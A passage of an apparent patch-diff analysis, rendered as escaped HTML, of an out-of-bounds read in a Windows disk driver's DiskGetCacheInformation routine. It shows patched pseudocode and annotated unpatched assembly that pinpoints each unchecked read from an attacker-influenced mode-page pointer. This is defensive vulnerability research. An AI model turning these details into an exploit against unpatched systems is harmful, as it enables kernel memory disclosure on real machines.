&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;DiskCacheSize&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BE16&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mode_page_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xA&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// +0xA, +0xB  *** OOB ***&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED — bounds check inserted before any read =====&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;mode_page_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;search_len&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;-- ADDED  (search_len = min(data_length, P[0]+1))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_UNSUCCESSFUL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0xC0000001&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;-- ADDED&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                        &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;-- ADDED&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;                                                     &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;-- ADDED&lt;/span&gt;
&lt;span class="c1"&gt;// ... then the same field reads as above, now safe&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The critical change is the added block at &lt;code&gt;0x1C000DD1F&lt;/code&gt;: load the capped search length, compute &lt;code&gt;mode_page_ptr + 12&lt;/code&gt;, compute &lt;code&gt;P + search_len&lt;/code&gt;, compare, and bail with &lt;code&gt;STATUS_UNSUCCESSFUL (0xC0000001)&lt;/code&gt; if the field window overruns the searched region.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;DiskGetCacheInformation (sub_1c000cbf0)&lt;/code&gt; — Unpatched Assembly (annotated)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; --- Prologue / allocation ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cbf0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cbfa:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc08:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x70&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc0c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; rbx = output DISK_CACHE_INFORMATION&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc0f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; r14 = device extension&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc12:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xc0&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; buffer size&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc17:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x43446353&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; &amp;#39;ScDC&amp;#39;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc1f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x204&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; NonPagedPoolNxCacheAligned&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc24:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc32:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; rdi = P (buffer base)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc38:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;alloc_fail&lt;/span&gt;

&lt;span class="c1"&gt;; --- memset + ClassModeSense ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc46:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;P&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xc0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc58:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ClassModeSense&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;dev&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;P&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xc0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc64:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; ecx = transferred data length&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc66:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc69:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;retry_path&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; need &amp;gt;= 4 bytes&lt;/span&gt;

&lt;span class="c1"&gt;; --- ClassFindModePage call ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc6f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; mode parameter header byte 0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc75:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; header_len + 1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc7c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmovbe&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; min(data_length, header_len+1)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc82:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;ClassFindModePage&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; returns mode page 8 ptr in rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc8e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; r9 = mode_page_ptr  &amp;lt;-- ATTACKER INFLUENCED&lt;/span&gt;

&lt;span class="c1"&gt;; --- VULNERABILITY: only NULL check, no size check ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc91:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc94:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;page_not_found&lt;/span&gt;
&lt;span class="c1"&gt;;  *** MISSING: add rax,0xc; add rcx,rdi; cmp rax,rcx; jbe safe ***&lt;/span&gt;
&lt;span class="c1"&gt;;  *** Patched binary inserts the above 4 instructions right here   ***&lt;/span&gt;

&lt;span class="c1"&gt;; --- Begin reading 12 bytes from r9 (potential OOB) ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cc9a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cca2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; zero output[0..7]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cca5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cca9:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000ccad:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB READ +0x0 ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000ccb3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; out-&amp;gt;WriteCacheEnabled&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000ccb5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r11b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB READ +0x2 ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000ccc0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r11b&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000ccc4:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;bpl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB READ +0x2 ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000ccd0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;bpl&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000ccd4:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB READ +0x3 ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000ccf6:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r10d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cd1f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB READ +0x4 ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cd2b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB READ +0x5 ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cd37:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xc&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15w&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; out-&amp;gt;CacheSize (BE16)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000cd3c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB READ +0x7 ***&lt;/span&gt;
